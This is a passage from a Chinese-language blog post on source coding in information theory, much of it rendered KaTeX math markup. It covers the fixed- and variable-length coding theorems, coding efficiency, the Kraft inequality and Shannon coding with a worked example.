style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.01968em;">l</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:-0.0572em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3173em;"><span style="top:-2.357em;margin-left:-0.0572em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">b</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3448em;"><span style="top:-2.3488em;margin-left:-0.0572em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1512em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span><span style="top:-2.41em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">where</span></span><span class="mspace"> </span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0572em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">…</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0572em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathrm">refer</span></span><span class="mspace"> </span><span class="mord"><span class="mord mathrm">to</span></span><span class="mspace"> </span><span class="mord"><span class="mord mathrm">serial</span></span><span class="mspace"> </span><span class="mord"><span class="mord mathrm">numbers</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.25em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>那么，根据定长编码定理，**如果要尽可能压缩信息，减少编码的长度 K，但是同时要保证无失真编码，那么一定需要满足：编码后 X 的每个符号对应的编码携带的最大信息量，大于 X 的信源熵。**下面的 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mop">ln</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span></span> 就是编码后的最大信源熵，R 称作信息率。</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.00773em;">R</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.0463em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3603em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">L</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">K</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7335em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">ε</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">ε</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">σ</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span></span></p><p>其中，又定义的<strong>编码效率</strong>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">η</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.113em;vertical-align:-0.686em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.00773em;">R</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.686em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p><strong>变长编码定理</strong>则告诉，<strong>如果编码的平均长度满足下面的条件，那么一定存在无失真编码，而且信息率 R 大于信源熵</strong>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:2.3074em;vertical-align:-0.8804em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.0193em;vertical-align:-0.136em;"></span><span class="mord overline"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8833em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07153em;">K</span></span></span><span style="top:-3.8033em;"><span class="pstrut" style="height:3em;"></span><span class="overline-line" style="border-bottom-width:0.04em;"></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.3074em;vertical-align:-0.8804em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.427em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord mathnormal" style="margin-right:0.08125em;">H</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="mclose">)</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.8804em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>在变长编码定理的框架内，还需要一种系统的编码的方式，确保在变长的码字不会产生歧义，而且接收序列时可以立即匹配编码，不用观察后面的码字。</p><img src="https://cdn.blog-blockchain.xyz/202305222216784.png" alt="image-20230522221626556" style="zoom:67%;" /><p>根据<strong>克拉夫特不等式</strong>，能够找到这样的<strong>异前置码</strong>编码方式的充要条件是，对于 m 个字符的编码系统，信源 X 的每个字符映射后的字符长度 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0315em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，满足：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.9291em;vertical-align:-1.2777em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">m</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">−</span><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3281em;"><span style="top:-2.357em;margin-left:-0.0315em;margin-right:0.0714em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></span></p><h3 id="香农编码">香农编码</h3><p>香农编码就是这样变长编码的一种方式。按信源符号的概率<strong>从大到小</strong>的顺序排队，然后对每个字符定义累加概率（排在它前面的字符的概率之和），这样就可以得到结论：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:6.4364em;vertical-align:-2.9682em;"></span><span class="mord"><span class="mtable"><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.4682em;"><span style="top:-6.487em;"><span class="pstrut" style="height:3.8588em;"></span><span class="mord"></span></span><span style="top:-3.9682em;"><span class="pstrut" style="height:3.8588em;"></span><span class="mord"></span></span><span style="top:-1.5506em;"><span class="pstrut" style="height:3.8588em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.9682em;"><span></span></span></span></span></span><span class="arraycolsep" style="width:0.5em;"></span><span class="arraycolsep" style="width:0.5em;"></span><span class="col-align-c"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:3.4682em;"><span style="top:-6.487em;"><span class="pstrut" style="height:3.8588em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">a</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord">0</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">0</span></span></span><span style="top:-3.9682em;"><span class="pstrut" style="height:3.8588em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">a</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.8588em;"><span style="top:-1.8723em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3471em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2777em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span></span></span><span style="top:-1.5506em;"><span class="pstrut" style="height:3.8588em;"></span><span class="mord"><span class="mord">−</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0315em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mop"><span class="mop">lo<span style="margin-right:0.01389em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:2.9682em;"><span></span></span></span></span></span></span></span></span></span></span></span></p><p>编码则是 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">p</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">a</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05724em;">j</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span> 二进制表示的小数点后 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0315em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 位。参考下面的例题。</p><img src="https://cdn.blog-blockchain.xyz/202305222237650.png" alt="image-20230522223728529" style="zoom: 40%;" /><p>可以计算得到相关参数：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:11.3381em;vertical-align:-5.4191em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:5.9191em;"><span style="top:-8.8802em;"><span class="pstrut" style="height:3.8011em;"></span><span class="mord"></span></span><span style="top:-7.3802em;"><span class="pstrut" style="height:3.8011em;"></span><span class="mord"></span></span><span style="top:-4.9191em;"><span class="pstrut" style="height:3.8011em;"></span><span class="mord"></span></span><span style="top:-1.7811em;"><span class="pstrut" style="height:3.8011em;"></span><span class="mord"></span></span><span style="top:0.6319em;"><span class="pstrut" style="height:3.8011em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.4191em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:5.9191em;"><span style="top:-8.8802em;"><span class="pstrut" style="height:3.8011em;"></span><span class="mord"><span class="mord"></span><span class="mord mathnormal">L</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">m</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span 